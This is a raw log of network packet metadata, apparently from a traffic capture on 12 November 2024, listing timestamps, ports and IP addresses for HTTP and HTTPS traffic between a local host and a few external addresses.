Nov 12, 2024 04:16:31.503773928 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.503782034 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.503787041 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.503789902 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.503798008 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.503813982 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.503824949 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.503827095 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.503840923 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.503853083 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.503856897 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.503863096 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.503870010 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.503881931 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.503890991 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.503894091 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.503911972 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.503921032 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.503923893 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.503931999 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.503932953 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.503943920 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.503954887 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.503971100 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.503972054 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.503983021 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.503993988 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.504002094 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.504005909 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.504017115 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.504040003 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.504035950 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.504055023 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.504060030 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.504067898 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.504081011 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.504086018 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.504097939 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.504101038 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.504107952 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.504108906 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.504123926 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.504132032 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.504151106 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.504165888 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.504165888 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.504179955 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.504204035 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.504220963 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.504255056 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.504270077 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.504281044 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.504291058 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.504297018 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.504302025 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.504304886 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.504316092 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.504328012 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.504329920 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.504338980 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.504352093 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.504369974 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.504389048 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.504424095 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.504434109 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.504442930 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.504453897 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.504465103 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.504465103 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.504477978 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.504491091 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.504504919 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.504522085 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.504527092 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.504538059 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.504550934 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.504555941 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.504568100 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.504575968 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.504578114 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.504590988 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.504609108 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.504611969 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.504618883 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.504645109 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.504668951 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.504946947 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.504956961 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.504966974 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.504976988 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.504987001 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.504997015 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.504997969 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.505009890 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.505028009 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.505049944 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.505098104 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.505109072 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.505119085 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.505127907 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.505137920 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.505139112 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.505148888 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.505158901 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.505166054 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.505198002 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.505230904 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.505242109 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.505271912 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.505302906 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.505403996 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.505414963 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.505424023 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.505434036 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.505444050 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.505451918 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.505455971 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.505467892 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.505477905 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.505481005 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.505506039 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.505517960 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.505547047 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.505556107 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.505564928 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.505577087 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.505585909 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.505592108 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.505614042 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.505624056 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.505683899 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.505701065 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.505712032 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.505723000 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.505728006 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.505734921 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.505747080 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.505747080 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.505759954 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.505770922 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.505778074 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.505795956 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.505799055 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.505815983 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.505815983 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.505834103 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.505837917 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.505846977 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.505857944 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.505867958 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.505872011 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.505878925 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.505891085 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.505892992 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.505903959 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.505923033 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.505923033 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.505934954 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.505942106 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.505954027 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.505963087 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.505973101 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.505974054 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.505986929 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.505996943 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.505997896 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.506009102 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.506016970 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.506021023 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.506031990 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.506036043 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.506043911 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.506055117 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.506058931 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.506067991 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.506072044 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.506083965 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.506093025 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.506103039 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.506110907 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.506122112 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.506129026 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.506131887 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.506148100 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.506150961 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.506170988 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.506175041 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.506185055 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.506192923 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.506196976 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.506215096 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.506225109 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.506226063 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.506236076 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.506247044 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.506257057 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.506258011 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.506270885 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.506278038 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.506283998 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.506294966 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.506298065 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.506311893 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.506323099 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.506337881 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.506339073 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.506350040 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.506360054 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.506370068 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.506372929 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.506377935 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.506385088 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.506395102 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.506408930 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.506411076 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.506423950 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.506434917 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.506443977 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.506447077 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.506464005 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.506480932 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.506490946 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.506501913 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.506511927 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.506515980 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.506535053 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.506557941 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.527626991 CET	443	49839	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:31.527681112 CET	443	49837	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:31.527731895 CET	443	49839	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:31.527777910 CET	443	49837	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:31.527796030 CET	49839	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:31.527825117 CET	49837	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:31.530936956 CET	49839	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:31.530947924 CET	443	49839	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:31.530957937 CET	49839	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:31.530963898 CET	443	49839	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:31.531019926 CET	49837	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:31.531021118 CET	49837	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:31.531024933 CET	443	49837	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:31.531032085 CET	443	49837	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:31.536927938 CET	49850	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:31.536973953 CET	443	49850	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:31.537247896 CET	49850	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:31.537467957 CET	49850	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:31.537486076 CET	443	49850	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:31.540371895 CET	443	49841	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:31.541069031 CET	49841	443	192.168.2.5	13.107.246.57
Nov 12, 2024 04:16:31.541095972 CET	443	49841	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:31.541284084 CET	49851	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:31.541301966 CET	443	49851	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:31.541369915 CET	49851	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:31.541384935 CET	443	49841	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:31.541498899 CET	49851	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:31.541510105 CET	443	49851	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:31.541982889 CET	49841	443	192.168.2.5	13.107.246.57
Nov 12, 2024 04:16:31.542056084 CET	443	49841	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:31.542292118 CET	49841	443	192.168.2.5	13.107.246.57
Nov 12, 2024 04:16:31.546168089 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.546185017 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.546197891 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.546209097 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.546221018 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.546231031 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.546236992 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.546247005 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.546291113 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.546520948 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.546534061 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.546544075 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.546566963 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.546572924 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.546581030 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.546592951 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.546601057 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.546603918 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.546627045 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.546641111 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.547110081 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.547153950 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.547184944 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.547202110 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.547211885 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.547223091 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.547223091 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.547235966 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.547235966 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.547255993 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.547266006 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.547266960 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.547277927 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.547287941 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.547288895 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.547308922 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.547321081 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.547327042 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.547344923 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.547368050 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.547380924 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.547390938 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.547401905 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.547426939 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.547440052 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.547447920 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.547451019 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.547463894 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.547473907 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.547485113 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.547487020 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.547513008 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.547522068 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.547535896 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.547538996 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.547547102 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.547559023 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.547565937 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.547570944 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.547585011 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.547610044 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.547665119 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.547693014 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.547703028 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.547705889 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.547733068 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.547837019 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.547847033 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.547858000 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.547867060 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.547872066 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.547887087 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.547898054 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.547921896 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.547980070 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.547990084 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.548000097 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.548012972 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.548022985 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.548024893 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.548037052 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.548043013 CET	49750	80	192.168.2.5	185.215.113.206
